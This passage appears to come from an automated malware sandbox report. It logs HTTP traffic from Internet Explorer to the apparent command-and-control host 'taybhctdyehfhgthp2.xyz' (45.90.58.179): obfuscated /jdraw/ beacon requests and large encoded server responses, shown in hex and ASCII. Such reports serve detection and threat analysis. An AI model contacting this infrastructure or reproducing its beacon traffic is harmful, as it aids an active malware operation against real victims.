6d 70 57 67 39 74 78 6e 64 7a 56 47 54 30 65 36 2b 54 42 59 51 45 66 63 65 50 51 59 6e 6f 75 51 33 6e 45 5a 54 63 44 75 52 54 63 56 56 4b 70 34 4d 76 79 6f 41 45 37 36 67 44 5a 59 5a 62 31 55 37 54 4f 36 67 57 46 35 78 47 61 45 59 44 50 52 68 58 36 4b 75 42 45 44 4c 6e 70 4b 4a 59 4e 78 6e 5a 2f 70 73 6b 35 5a 2f 78 69 72 55 51 75 71 72 35 6e 51 38 64 43 77 62 76 6e 49 61 2f 44 67 44 59 66 35 43 6a 67 64 73 77 6b 67 72 72 48 6f 34 71 30 37 6d 36 41 65 39 6d 42 2b 53 46 34 4c 36 71 4d 35 56 2b 67 77 30 61 33 4c 70 65 4b 54 75 57 53 79 33 31 6c 6f 76 6f 31 38 44 36 63 43 5a 49 66 4e 4d 30 79 4d 73 41 71 51 6a 78 44 57 30 59 61 53 79 56 65 4d 54 6a 75 36 74 76 76 59 79 35 6d 55 62 75 73 61 70 37 57 49 6d 41 57 6d 61 67 48 4b 6e 30 51 43 52 59 52 33 37 64 49 32 6e 73 70 58 31 44 4f 52 73 2b 31 35 51 62 71 62 4c 4f 77 73 67 4c 63 64 66 65 56 36 6b 77 63 48 44 68 64 34 70 4d 4c 4c 70 73 31 71 6c 41 49 53 4f 52 51 52 32 4b 34 44 36 4a 59 6c 38 58 71 31 4f 37 4b 55 67 75 73 4d 2b 72 4d 63 51 6c 39 76 42 6f 45 54 6a 39 70 53 74 68 61 70 39 32 41 6a 6e 52 76 69 7a 32 74 6e 44 2f 32 55 73 72 74 63 30 78 6c 32 5a 34 59 71 37 6d 30 62 6c 7a 59 4d 46 65 36 75 75 61 72 79 65 45 70 4a 64 50 50 42 61 4c 36 77 67 55 7a 39 72 7a 74 58 78 45 70 47 46 53 61 68 72 6c 33 4c 39 73 34 57 2f 36 57 30 66 47 56 4f 7a 6d 61 30 56 56 62 46 61 55 6d 47 32 45 79 51 7a 52 52 66 6f 42 6e 77 56 54 47 6c 76 51 45 31 71 5a 35 73 39 4d 6c 73 2b 53 79 42 6f 31 2f 35 33 68 6b 59 5a 70 31 6e 2f 4a 6a 46 78 6f 46 38 64 44 34 47 6b 77 72 37 4b 61 56 6a 77 35 35 4e 63 56 79 48 72 4d 49 7a 77 6a 45 6a 39 30 42 76 71 31 50 4a 6a 64 78 56 77 79 33 31 58 70 4a 6f 57 54 35 44 68 6e 2f 73 46 44 63 37 33 4f 31 65 59 71 47 58 4f 4a 37 66 73 2f 4e 33 61 62 44 2f 33 65 4b 63 7a 50 2b 73 66 71 70 70 53 77 39 59 67 54 52 6f 53 32 2f 7a 31 6b 71 51 4f 44 55 7a 41 43 75 70 49 34 66 63 52 63 57 43 6e 70 74 38 69 49 4a 45 7a 4d 48 45 39 6f 78 63 33 6e 66 62 67 47 6a 6d 39 6b 69 44 55 78 6a 58 55 79 67 44 61 59 6c 49 44 73 63 2f 45 39 52 51 47 41 4e 4e 6f 4b 45 67 6a 4c 50 45 47 56 73 64 74 57 45 48 63 6f 2b 33 75 34 5a 59 38 33 72 77 79 6e 4e 30 76 61 43 46 4e 4f 36 72 48 35 36 7a 6a 45 49 53 78 48 73 56 6a 6a 61 6e 6d 64 63 47 31 57 61 50 66 48 43 67 33 79 32 68 71 69 6c 54 61 58 46 37 2b 54 76 70 38 76 5a 72 35 4c 75 65 35 69 30 6c 46 53 6c 46 47 62 48 63 59 59 6c 44 44 55 4a 37 51 33 71 6c 6b 70 77 66 74 50 65 53 54 68 6b 30 61 66 65 72 30 47 77 6d 42 6f 47 48 58 73 41 42 51 57 33 79 50 4b 73 4f 61 33 57 37 79 2f 33 6a 79 62 55 53 6f 50 4e 76 4e 72 69 57 46 2f 65 44 30 61 71 63 6f 46 37 41 38 Data Ascii: 4a314grWALJ0AoRryMhLkb4+5fKF1BT3DlVu3juzEHaw/ZvSESmQvXQ8nkp0Y9RkdWgiz1iOK1D8NUr9iZdsdFr81JmpWg9txndzVGT0e6+TBYQEfcePQYnouQ3nEZTcDuRTcVVKp4MvyoAE76gDZYZb1U7TO6gWF5xGaEYDPRhX6KuBEDLnpKJYNxnZ/psk5Z/xirUQuqr5nQ8dCwbvnIa/DgDYf5CjgdswkgrrHo4q07m6Ae9mB+SF4L6qM5V+gw0a3LpeKTuWSy31lovo18D6cCZIfNM0yMsAqQjxDW0YaSyVeMTju6tvvYy5mUbusap7WImAWmagHKn0QCRYR37dI2nspX1DORs+15QbqbLOwsgLcdfeV6kwcHDhd4pMLLps1qlAISORQR2K4D6JYl8Xq1O7KUgusM+rMcQl9vBoETj9pSthap92AjnRviz2tnD/2Usrtc0xl2Z4Yq7m0blzYMFe6uuaryeEpJdPPBaL6wgUz9rztXxEpGFSahrl3L9s4W/6W0fGVOzma0VVbFaUmG2EyQzRRfoBnwVTGlvQE1qZ5s9Mls+SyBo1/53hkYZp1n/JjFxoF8dD4Gkwr7KaVjw55NcVyHrMIzwjEj90Bvq1PJjdxVwy31XpJoWT5Dhn/sFDc73O1eYqGXOJ7fs/N3abD/3eKczP+sfqppSw9YgTRoS2/z1kqQODUzACupI4fcRcWCnpt8iIJEzMHE9oxc3nfbgGjm9kiDUxjXUygDaYlIDsc/E9RQGANNoKEgjLPEGVsdtWEHco+3u4ZY83rwynN0vaCFNO6rH56zjEISxHsVjjanmdcG1WaPfHCg3y2hqilTaXF7+Tvp8vZr5Lue5i0lFSlFGbHcYYlDDUJ7Q3qlkpwftPeSThk0afer0GwmBoGHXsABQW3yPKsOa3W7y/3jybUSoPNvNriWF/eD0aqcoF7A8
Jul 6, 2021 14:31:22.409225941 CEST	4871	IN	Data Raw: 6c 78 63 44 32 47 56 63 61 36 54 4d 71 37 71 45 4a 45 6c 61 34 2b 50 55 76 34 6f 56 47 72 2f 78 32 67 77 72 79 32 69 75 4f 69 67 35 4f 36 2b 72 59 31 6e 53 34 46 74 79 61 54 71 5a 43 48 76 6f 31 6f 78 41 6f 43 36 32 44 62 48 4f 33 50 33 30 42 4c Data Ascii: lxcD2GVca6TMq7qEJEla4+PUv4oVGr/x2gwry2iuOig5O6+rY1nS4FtyaTqZCHvo1oxAoC62DbHO3P30BLghab//RvG9hkoVKtvUlf1dUfd/hFWNGLhQz9wnvaRsWtj0TveHk1mxLCbBq9qT9iZKYtFlcANnmzhxYXKJr7Qh7YnL3wanaF8xRzB0cBHcnYqzEDKRn/+h5NzRMklbkLP9dcsrxNWX2E8FgZrNX99blk+rAt+eSJy
Jul 6, 2021 14:31:22.409241915 CEST	4872	IN	Data Raw: 67 54 58 34 34 41 75 50 4d 36 34 66 56 45 49 4c 78 54 56 49 32 68 78 59 37 4e 44 62 68 6e 53 6d 65 44 70 61 33 65 77 44 38 30 44 33 6c 50 35 72 4f 68 6b 68 38 6e 42 30 67 62 64 35 42 4a 37 72 44 49 73 45 59 72 71 74 4a 72 6b 72 30 74 58 49 33 66 Data Ascii: gTX44AuPM64fVEILxTVI2hxY7NDbhnSmeDpa3ewD80D3lP5rOhkh8nB0gbd5BJ7rDIsEYrqtJrkr0tXI3f76TkOqKK8+XfqzUd6WsZvh07ElCb+UyD65n8N+NDwGOIwt/xp7rtZuunoVrkz+e1KZEHYuxlDgISMWMU3OBX4KOqL3C5T0V//4eYYBcIhnBaag/I9/pQwUJfr4KXB3N4p3P4Pf5cg0+SUGiD0GqNIP/wC1QaLUQrl
Jul 6, 2021 14:31:22.409260035 CEST	4873	IN	Data Raw: 45 6c 4b 71 41 61 43 7a 64 4f 33 64 33 4f 48 73 46 6f 4d 58 4d 51 73 2b 38 64 35 2f 46 78 39 5a 6d 64 71 41 62 75 2f 4a 68 4b 44 48 32 47 31 34 49 36 6f 76 51 58 70 6b 42 34 67 6f 44 65 4b 6c 5a 6e 65 4c 34 4c 48 47 4e 73 57 57 54 46 51 38 64 75 Data Ascii: ElKqAaCzdO3d3OHsFoMXMQs+8d5/Fx9ZmdqAbu/JhKDH2G14I6ovQXpkB4goDeKlZneL4LHGNsWWTFQ8dunZX+zXvxtQ8ZIAm0RdtWSPfmU8H+MqIfvLRq17/X8IWIo73/Oyi0zVXeSHJooo40JIzxNxmboREY/8lyErZvgDhHbXcwmys/MUghOhvpwwlDUkoJTQm+e0YcHyMIMgbBHIPDEIODzlqZ2aYLk/HCSx8zq/DZoODWj
Jul 6, 2021 14:31:22.409275055 CEST	4875	IN	Data Raw: 57 72 79 52 45 2f 4e 30 2b 6b 61 72 77 56 48 45 6e 70 69 5a 63 7a 6a 67 74 51 57 32 7a 4d 46 48 47 50 50 74 33 7a 37 61 65 77 30 46 4c 34 62 68 39 72 44 2b 54 4d 54 69 32 77 54 5a 55 6c 48 4e 4c 41 58 35 4f 72 48 43 78 30 50 4c 54 71 6c 6e 71 41 Data Ascii: WryRE/N0+karwVHEnpiZczjgtQW2zMFHGPPt3z7aew0FL4bh9rD+TMTi2wTZUlHNLAX5OrHCx0PLTqlnqAcOxSiHPN5MS9hyi9JwrV21NTuZkOPBH1kMSxOBiyxgJZmX6M1UvFBNjBmXFjA0yY5hFM9fvaMDA9Bxv6ETkIJbBkoUgzm7hStpnLWD/YBoE30sWHD+WiHtcVoaupUe5XusTrWI1wf4fwK8j3RhESxHcHX8CZb+lED
Jul 6, 2021 14:31:22.409296036 CEST	4876	IN	Data Raw: 35 5a 2b 43 4e 37 6d 73 6b 48 7a 70 79 50 44 4e 75 4c 68 67 48 31 59 44 45 47 65 69 4c 68 32 78 52 48 56 35 78 48 45 48 71 41 35 4e 56 4b 79 38 67 32 35 4e 66 66 6c 36 63 46 6d 4e 56 6f 42 4c 70 30 32 35 73 62 6f 73 61 63 36 75 48 36 6e 4b 39 44 Data Ascii: 5Z+CN7mskHzpyPDNuLhgH1YDEGeiLh2xRHV5xHEHqA5NVKy8g25Nffl6cFmNVoBLp025sbosac6uH6nK9DkEdHaDceK3scDeDcd1bZUYoO/j5tMgB1kOHdsIHILi6/hnW5ceouM8zuyDaL4W/lcEvDLTQucCFvZ7G1XL7fytejcD//xlHJ2EV6QXWLAyFaS2cj1+UgqRmDMtKlBZW16nCYDOdopSItXMfBJVDovsIe4t7xpu/tA
Jul 6, 2021 14:31:22.409313917 CEST	4878	IN	Data Raw: 44 36 71 66 30 6b 75 4e 46 68 4c 75 63 4a 2b 30 50 43 36 74 35 67 6e 5a 34 42 46 45 41 33 58 71 74 4e 31 4e 37 59 49 75 39 48 5a 4b 73 62 39 57 38 72 37 34 30 4a 77 56 6d 55 4b 6d 41 58 66 6e 36 67 62 57 33 6a 57 61 45 4b 71 5a 35 55 4a 35 62 35 Data Ascii: D6qf0kuNFhLucJ+0PC6t5gnZ4BFEA3XqtN1N7YIu9HZKsb9W8r740JwVmUKmAXfn6gbW3jWaEKqZ5UJ5b589F+hAD4qCwoqpOfGiRUsPZOXquWknnUPMh/UMxkG5XygSNHPIlPQf0KBO59FwzPCWCqvM8qAy7JqBzAmwQs0OYppXZCvZM69UaT929q8e42bBdTt5kbfi96lQ7k5soBqFf3veVQEajzauWHinoVxqRJi+OSRAHse
Jul 6, 2021 14:31:22.409332037 CEST	4879	IN	Data Raw: 6a 72 4c 46 44 76 4e 4b 67 6a 49 42 33 76 4e 61 4e 36 4c 7a 6a 59 41 55 64 67 39 6a 39 6d 30 54 68 34 74 4b 2b 73 4d 57 65 43 6e 48 50 42 6c 54 43 7a 77 42 54 79 33 64 72 34 5a 71 37 75 45 66 32 67 54 33 57 61 58 2b 75 51 44 33 31 75 7a 6e 46 39 Data Ascii: jrLFDvNKgjIB3vNaN6LzjYAUdg9j9m0Th4tK+sMWeCnHPBlTCzwBTy3dr4Zq7uEf2gT3WaX+uQD31uznF9UOsircDJQANKO0d82TKV+OaPW/0az5prwH1r3kFXPHqb3YZFmRfocn21t36MUXYNaFR+k14L7CRuWnfSZxkSxAQGsxXtxFOvMPuDSXa+bq4SRZV4kPJQDKUTiCGi8dwdtCnteI2zM+eMz6+TKJalUkPlWkfdZm5gQ
Jul 6, 2021 14:31:22.409470081 CEST	4880	IN	Data Raw: 49 6b 4c 6f 52 4a 67 6d 69 7a 63 64 34 69 36 47 4e 66 71 44 79 38 47 58 79 4c 48 4a 43 71 64 31 73 61 63 4f 32 51 76 77 62 58 59 78 44 4c 38 52 54 53 4c 44 68 7a 2f 4a 55 6b 70 4f 42 35 47 32 44 65 4a 6d 4a 75 38 61 42 72 66 4d 6d 73 33 38 34 53 Data Ascii: IkLoRJgmizcd4i6GNfqDy8GXyLHJCqd1sacO2QvwbXYxDL8RTSLDhz/JUkpOB5G2DeJmJu8aBrfMms384SXz5cBHV5i5Ba+8kAifi1l9/0Dg/MfoeaDzlhOk+o9g49hr/JBwAWj3HoiQowJfLcDm9Elomg8pODpgexMW9sXcUymehnqGz9G1zxS79+sdD4IP8wPtQmEnYLbxtID/Fl09Xn5abf73KLV31gWDkr0OJ20EDwcWczK
Jul 6, 2021 14:31:22.409584045 CEST	4882	IN	Data Raw: 65 74 7a 49 68 35 67 59 63 70 66 57 2f 48 4c 33 63 67 41 36 44 61 72 4e 53 56 75 6d 72 6b 59 67 50 51 44 45 51 36 79 4e 79 68 44 5a 50 64 55 6a 48 61 4d 6d 42 4f 2b 30 47 69 6a 53 51 39 5a 50 69 46 63 68 48 66 36 51 61 70 63 69 53 70 49 45 31 42 Data Ascii: etzIh5gYcpfW/HL3cgA6DarNSVumrkYgPQDEQ6yNyhDZPdUjHaMmBO+0GijSQ9ZPiFchHf6QapciSpIE1BxMU55qQm1QwQKY1xGtx9wSooSO1eApcBb2SybgCzjEfTJoYm2GoxBt+g5E7vxPfCX8Lz2KXylMKTD8bTn2zf2VU/pZtu8FDBW+CahSAvMKto5T+CXe4XUKbcebC1DkR1RUIEntenwJoIob30WZRkvqaWDDKmQLLZp
Jul 6, 2021 14:31:22.446088076 CEST	4883	IN	Data Raw: 64 48 44 76 77 46 55 30 39 77 51 59 54 50 48 6d 64 37 7a 49 58 78 36 74 5a 2b 64 68 6e 4c 4b 70 71 64 6f 51 6c 4a 52 45 50 55 54 43 53 42 61 62 67 50 6b 54 6f 66 79 47 32 61 45 4a 6c 6a 67 68 55 42 5a 57 49 49 52 68 49 4a 71 74 34 63 63 68 77 2f Data Ascii: dHDvwFU09wQYTPHmd7zIXx6tZ+dhnLKpqdoQlJREPUTCSBabgPkTofyG2aEJljghUBZWIIRhIJqt4cchw/qm5g4a34BSbj4qhHspzEAyAtjrK+do97NxAKp0nqqq2kMkdEnNw/LpCY396nFbN8Er0Uh113nBF8rYBZ44JUxy0z/QwOWlAtc1pmui9lyIe2de+SXTIL5voydZlgmZ3tssMh1Bims6Ee/BcLLq6HkHE1ZOP3nrmKs
Jul 6, 2021 14:31:23.854829073 CEST	5230	OUT	GET /jdraw/6egkLxw_2B/0MDk_2F6Dttk_2BDL/PeMCvV_2FKSI/4qVuvEJzX6I/FapijqFJTF_2Fb/KhTAv5JxUk1yx17bklmA1/d0ce84VGmC4XToZ3/TiJp7oqlVeIG5y4/hFv5_2BNvMTr_2BeEi/G1O6zP7eh/h0jyonPucpxshjr38gHc/mUt_2Bbr2dZAiwNrJ6q/V3apeuqs4sJwa7IUzmg12g/qV5g.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: taybhctdyehfhgthp2.xyz Connection: Keep-Alive Cookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Jul 6, 2021 14:31:23.914489985 CEST	5231	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 12:31:23 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 2460 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 65 68 58 6c 64 53 77 58 51 69 59 4c 61 47 7a 6e 51 4e 35 59 46 37 72 33 4c 2f 65 66 4f 4c 62 34 4c 6e 5a 31 6f 41 59 70 74 38 6c 67 50 47 50 65 2f 67 66 38 2f 44 47 54 62 56 36 6d 37 59 77 70 55 52 33 4d 57 6f 32 55 74 4b 64 44 6d 46 34 41 50 43 46 72 61 4a 52 45 77 6c 4a 57 6e 6b 6f 62 38 53 73 51 4e 4a 68 72 79 77 76 4b 71 77 2b 62 53 6f 6f 48 59 75 77 6c 49 42 6b 6e 4f 64 73 70 58 39 45 51 65 33 53 76 39 65 2b 4d 4a 47 7a 42 55 56 30 68 61 45 44 62 61 30 58 41 6b 4f 62 75 44 59 4e 52 6a 31 38 78 6e 4e 69 58 69 36 57 73 36 30 50 6a 63 30 2f 48 55 30 69 39 62 4c 52 70 52 67 35 39 53 54 6b 55 71 46 47 73 38 43 34 31 32 48 31 78 56 64 6d 63 35 64 32 76 72 72 77 31 57 37 32 36 78 64 78 4c 4a 62 42 35 50 72 59 69 50 6f 4d 41 50 31 59 4e 39 50 2b 4b 59 7a 6d 6c 4f 56 47 4b 65 49 76 66 69 4b 79 64 4e 37 61 78 79 55 71 35 2f 77 70 67 41 53 47 2b 2f 30 71 4f 41 61 30 6f 65 53 68 35 51 36 7a 34 4c 65 39 31 58 37 6f 34 32 6a 6d 4f 51 6e 69 53 77 63 2f 41 6e 59 66 6c 6c 67 45 4c 2b 58 5a 2f 69 6f 55 59 4e 69 62 4a 56 6f 58 44 36 65 69 58 4f 6c 37 4d 4f 4b 61 70 79 31 42 62 2b 47 79 77 7a 79 38 74 50 5a 6a 34 54 6b 7a 4f 67 2f 6b 44 6f 6c 43 7a 6d 4b 73 33 50 75 62 48 4c 41 42 34 65 6a 51 45 44 2f 38 66 51 51 6b 46 71 39 50 41 69 59 78 75 70 44 6e 55 69 43 58 67 39 37 76 41 51 42 75 53 4a 73 46 6a 39 6b 37 53 62 51 66 35 6c 72 55 46 54 32 39 6f 50 58 57 41 46 4f 2b 69 76 49 39 54 4c 56 53 36 47 4d 35 56 31 56 51 37 33 4a 46 7a 34 30 48 38 57 35 6a 33 6d 4b 44 73 2b 4c 6b 39 2f 79 70 4e 53 51 52 62 45 41 69 74 6d 49 30 4c 36 39 76 2f 4f 70 79 43 5a 66 77 32 62 4c 72 33 55 4d 6a 79 51 36 6a 63 34 37 32 75 52 54 42 6a 6c 75 6b 74 59 75 4a 4b 74 4f 78 6d 6c 30 6b 46 61 4d 35 4f 51 48 61 6e 43 4b 55 46 55 44 30 5a 45 72 34 31 4f 62 4d 48 67 66 54 4c 41 2b 47 56 51 41 43 32 4d 34 69 36 6f 52 58 62 33 2f 46 44 37 4f 37 71 36 49 71 6e 75 6e 55 33 57 36 78 6f 36 46 6b 6b 77 78 4d 77 46 61 39 33 54 7a 62 49 35 6c 55 36 75 59 6e 59 2b 6b 4c 59 52 51 62 79 54 46 56 33 5a 6d 49 70 4e 70 75 2f 74 7a 50 41 32 5a 41 6b 4e 32 53 4a 74 61 54 66 4d 4f 62 71 67 57 65 69 49 56 57 5a 44 49 36 59 5a 34 50 65 6f 59 56 47 56 50 54 78 56 6f 39 7a 56 57 65 35 58 36 7a 51 72 71 57 43 47 47 45 69 77 4c 5a 51 4c 45 78 76 6a 63 76 4a 35 2b 55 6c 77 36 4a 57 38 73 32 39 73 37 34 6b 63 38 56 6f 42 78 30 68 74 36 57 56 64 70 62 59 30 30 63 44 66 76 5a 6c 71 50 5a 45 79 44 6a 75 54 68 38 30 67 77 61 4d 30 52 54 67 69 31 79 61 78 2f 44 41 4b 34 30 63 59 37 57 6e 72 64 2f 53 6e 66 64 30 6d 51 68 62 65 6d 48 32 6d 63 73 53 43 45 44 6c 56 32 47 69 59 50 6c 46 6e 6f 6a 7a 38 56 79 53 52 7a 5a 75 42 34 39 6e 6a 76 38 54 76 72 69 37 48 65 57 53 52 6e 49 33 73 47 51 76 45 6a 37 42 4c 33 54 48 55 48 2f 4e 48 58 51 4c 45 4e 4f 71 5a 6b 49 63 78 4a 51 43 71 78 4c 48 6a 6f 66 61 58 65 47 4c 38 64 49 49 52 45 32 4a 32 33 63 4b 4e 72 2f 32 56 34 74 63 66 44 79 31 52 59 4a 2b 2b 6d 74 2f Data Ascii: ehXldSwXQiYLaGznQN5YF7r3L/efOLb4LnZ1oAYpt8lgPGPe/gf8/DGTbV6m7YwpUR3MWo2UtKdDmF4APCFraJREwlJWnkob8SsQNJhrywvKqw+bSooHYuwlIBknOdspX9EQe3Sv9e+MJGzBUV0haEDba0XAkObuDYNRj18xnNiXi6Ws60Pjc0/HU0i9bLRpRg59STkUqFGs8C412H1xVdmc5d2vrrw1W726xdxLJbB5PrYiPoMAP1YN9P+KYzmlOVGKeIvfiKydN7axyUq5/wpgASG+/0qOAa0oeSh5Q6z4Le91X7o42jmOQniSwc/AnYfllgEL+XZ/ioUYNibJVoXD6eiXOl7MOKapy1Bb+Gywzy8tPZj4TkzOg/kDolCzmKs3PubHLAB4ejQED/8fQQkFq9PAiYxupDnUiCXg97vAQBuSJsFj9k7SbQf5lrUFT29oPXWAFO+ivI9TLVS6GM5V1VQ73JFz40H8W5j3mKDs+Lk9/ypNSQRbEAitmI0L69v/OpyCZfw2bLr3UMjyQ6jc472uRTBjluktYuJKtOxml0kFaM5OQHanCKUFUD0ZEr41ObMHgfTLA+GVQAC2M4i6oRXb3/FD7O7q6IqnunU3W6xo6FkkwxMwFa93TzbI5lU6uYnY+kLYRQbyTFV3ZmIpNpu/tzPA2ZAkN2SJtaTfMObqgWeiIVWZDI6YZ4PeoYVGVPTxVo9zVWe5X6zQrqWCGGEiwLZQLExvjcvJ5+Ulw6JW8s29s74kc8VoBx0ht6WVdpbY00cDfvZlqPZEyDjuTh80gwaM0RTgi1yax/DAK40cY7Wnrd/Snfd0mQhbemH2mcsSCEDlV2GiYPlFnojz8VySRzZuB49njv8Tvri7HeWSRnI3sGQvEj7BL3THUH/NHXQLENOqZkIcxJQCqxLHjofaXeGL8dIIRE2J23cKNr/2V4tcfDy1RYJ++mt/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49814	45.90.58.179	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 14:31:29.922583103 CEST	5239	OUT	GET /jdraw/WzEyJLB3xlLsnabkhWyV0S/yaPNrrtbEg_2F/gaaPNPvk/KT7taNsNnsmIKyasgTZ0UAG/nQc7Y04rHd/Wf9d711z2fDYWnZSZ/I5gtE5194Pn8/54FQXS9Bp0p/Yr0NIxUfu5Fay8/_2FlA1aXKnd2v_2B9oARj/_2Fx_2FChvh5vpN4/OMwk_2BosEsV5ld/sSRuMcQjMYnxoDOxLX/9QI7NxpfE/WeR0iN16/80Qd2J2g/G.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: taybhctdyehfhgthp2.xyz Connection: Keep-Alive Cookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Jul 6, 2021 14:31:29.997770071 CEST	5241	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 12:31:29 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 33 61 35 63 30 0d 0a 54 37 50 43 46 2b 46 31 4a 55 4b 41 54 62 62 73 6b 6e 55 32 76 58 53 4c 57 30 70 45 54 4a 56 69 7a 51 2b 44 68 35 45 4d 66 73 37 78 45 66 79 46 33 4b 48 51 69 53 71 48 7a 55 68 43 2b 65 4f 65 34 78 4f 6d 6b 74 78 46 38 68 6b 49 4e 50 41 79 47 77 74 4c 75 78 6a 7a 51 55 58 30 64 4f 6c 78 52 68 6c 32 49 79 4d 71 6a 6c 52 6b 53 79 56 4f 65 72 75 63 56 6c 49 33 75 36 35 62 70 6a 30 4f 6d 52 76 43 57 47 38 4a 71 2b 4c 33 74 4a 74 4f 76 31 74 42 74 47 5a 58 5a 42 6c 75 79 32 70 34 54 56 54 57 67 70 50 7a 4f 51 77 76 6d 30 72 68 56 73 4f 48 62 78 44 4b 4c 7a 6b 59 36 4d 50 32 52 32 47 70 50 39 78 71 42 52 46 34 67 7a 30 48 74 53 4d 58 6a 77 44 4e 77 71 46 63 49 32 34 46 62 2b 31 2b 64 73 65 35 69 4c 44 66 51 79 42 35 71 37 33 61 6d 39 61 52 67 36 74 75 43 71 65 53 47 50 4e 64 75 30 44 6f 72 43 2b 65 36 35 37 42 6b 32 69 57 66 4b 4e 72 45 4a 47 34 33 76 4a 4e 2b 68 45 30 6f 4c 37 69 76 34 31 4c 50 36 37 33 61 4b 41 35 6c 33 62 49 48 6f 46 77 4c 30 4f 78 37 6a 69 48 37 5a 36 52 4e 61 37 42 2b 38 42 66 6d 34 51 42 66 4e 31 68 30 55 35 75 47 73 65 68 71 78 7a 56 48 33 46 65 44 77 4f 6b 42 7a 75 43 39 6a 62 4a 7a 77 4c 4b 38 61 2b 6a 49 67 51 53 4a 52 6d 4d 54 43 72 32 33 79 67 67 46 4d 42 75 6b 39 34 32 4c 57 52 45 46 4a 79 58 57 32 52 65 47 61 38 61 63 75 79 7a 54 36 55 57 5a 35 68 4f 58 6e 79 58 54 43 46 61 39 48 76 4c 71 72 56 36 41 74 56 6c 78 62 34 46 37 34 49 51 63 79 50 6f 36 4d 4a 2f 58 6c 74 57 52 6e 44 66 55 61 4d 62 6f 4e 6d 51 58 41 70 4c 56 39 49 4a 66 4a 74 36 50 55 37 7a 66 78 59 37 48 46 4d 4c 68 59 49 62 7a 61 61 43 75 63 71 58 57 33 61 77 6b 30 4e 44 31 54 30 6e 36 4e 36 59 35 57 44 44 6f 69 4e 7a 4b 64 51 4a 4b 69 6e 48 2f 4b 73 4b 32 71 2f 30 2b 34 69 53 42 31 53 33 63 50 35 4a 77 31 54 48 77 4f 45 37 74 6b 77 54 71 71 2f 6b 4e 33 65 63 37 64 6d 38 75 47 30 70 4c 64 2b 63 69 4d 6d 42 68 44 41 31 4c 78 69 6c 53 72 6a 36 6d 64 6f 45 70 6f 55 7a 68 51 30 63 49 6b 69 59 7a 6e 4c 49 4f 41 75 4b 4c 4a 76 43 78 39 4b 32 6c 2f 70 58 35 76 68 52 47 45 49 34 57 69 4b 6d 73 33 34 4e 76 78 44 77 31 42 72 70 70 65 48 66 71 36 6d 35 62 5a 4a 2b 6a 47 6e 57 51 33 56 54 43 39 68 70 2b 7a 62 30 6b 50 51 41 4a 38 61 6f 6d 73 4b 35 45 4d 4b 41 6a 38 75 65 45 4f 70 66 79 6e 54 53 6b 4c 68 61 52 43 6b 5a 31 48 65 2f 34 59 7a 4e 38 41 58 31 6b 50 45 73 4c 2b 71 47 41 69 41 6c 51 50 45 54 62 4c 65 72 36 48 61 2b 76 66 77 69 5a 50 34 41 58 55 33 77 49 42 45 62 78 48 72 67 6e 4e 2f 47 67 38 66 36 33 47 6d 33 38 42 66 52 68 50 77 59 39 6a 79 47 52 34 42 56 50 35 78 39 4a 66 43 32 35 6f 61 74 2f 6e 57 35 4e 39 68 73 5a 4b 34 48 33 6f 64 71 52 4f 75 44 59 31 53 4c 76 6b 42 64 57 72 65 54 42 78 75 55 37 72 67 34 2b 45 6c 41 45 6c 52 7a 52 70 48 37 63 67 52 50 72 32 4a 7a 47 35 79 51 55 36 55 34 38 51 31 6f 6b 44 31 4c 42 33 7a 6b 66 46 67 74 4d 46 35 6f 68 43 56 70 72 38 4d 54 37 51 75 34 51 50 38 73 6e 50 Data Ascii: 3a5c0T7PCF+F1JUKATbbsknU2vXSLW0pETJVizQ+Dh5EMfs7xEfyF3KHQiSqHzUhC+eOe4xOmktxF8hkINPAyGwtLuxjzQUX0dOlxRhl2IyMqjlRkSyVOerucVlI3u65bpj0OmRvCWG8Jq+L3tJtOv1tBtGZXZBluy2p4TVTWgpPzOQwvm0rhVsOHbxDKLzkY6MP2R2GpP9xqBRF4gz0HtSMXjwDNwqFcI24Fb+1+dse5iLDfQyB5q73am9aRg6tuCqeSGPNdu0DorC+e657Bk2iWfKNrEJG43vJN+hE0oL7iv41LP673aKA5l3bIHoFwL0Ox7jiH7Z6RNa7B+8Bfm4QBfN1h0U5uGsehqxzVH3FeDwOkBzuC9jbJzwLK8a+jIgQSJRmMTCr23yggFMBuk942LWREFJyXW2ReGa8acuyzT6UWZ5hOXnyXTCFa9HvLqrV6AtVlxb4F74IQcyPo6MJ/XltWRnDfUaMboNmQXApLV9IJfJt6PU7zfxY7HFMLhYIbzaaCucqXW3awk0ND1T0n6N6Y5WDDoiNzKdQJKinH/KsK2q/0+4iSB1S3cP5Jw1THwOE7tkwTqq/kN3ec7dm8uG0pLd+ciMmBhDA1LxilSrj6mdoEpoUzhQ0cIkiYznLIOAuKLJvCx9K2l/pX5vhRGEI4WiKms34NvxDw1BrppeHfq6m5bZJ+jGnWQ3VTC9hp+zb0kPQAJ8aomsK5EMKAj8ueEOpfynTSkLhaRCkZ1He/4YzN8AX1kPEsL+qGAiAlQPETbLer6Ha+vfwiZP4AXU3wIBEbxHrgnN/Gg8f63Gm38BfRhPwY9jyGR4BVP5x9JfC25oat/nW5N9hsZK4H3odqROuDY1SLvkB